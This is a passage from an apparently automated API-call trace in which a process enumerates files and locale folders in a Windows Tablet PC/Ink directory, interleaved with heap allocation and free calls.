ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.038] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0428 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3410 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0448 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3498 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0468 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3520 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0488 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee35a8 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.040] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee04a8 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3630 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.040] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee04c8 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee36b8 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x340) returned 0xee4958 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7330) returned 1 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.040] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0046.040] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0046.040] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0046.041] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0046.041] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0046.041] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.041] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0046.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0046.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, 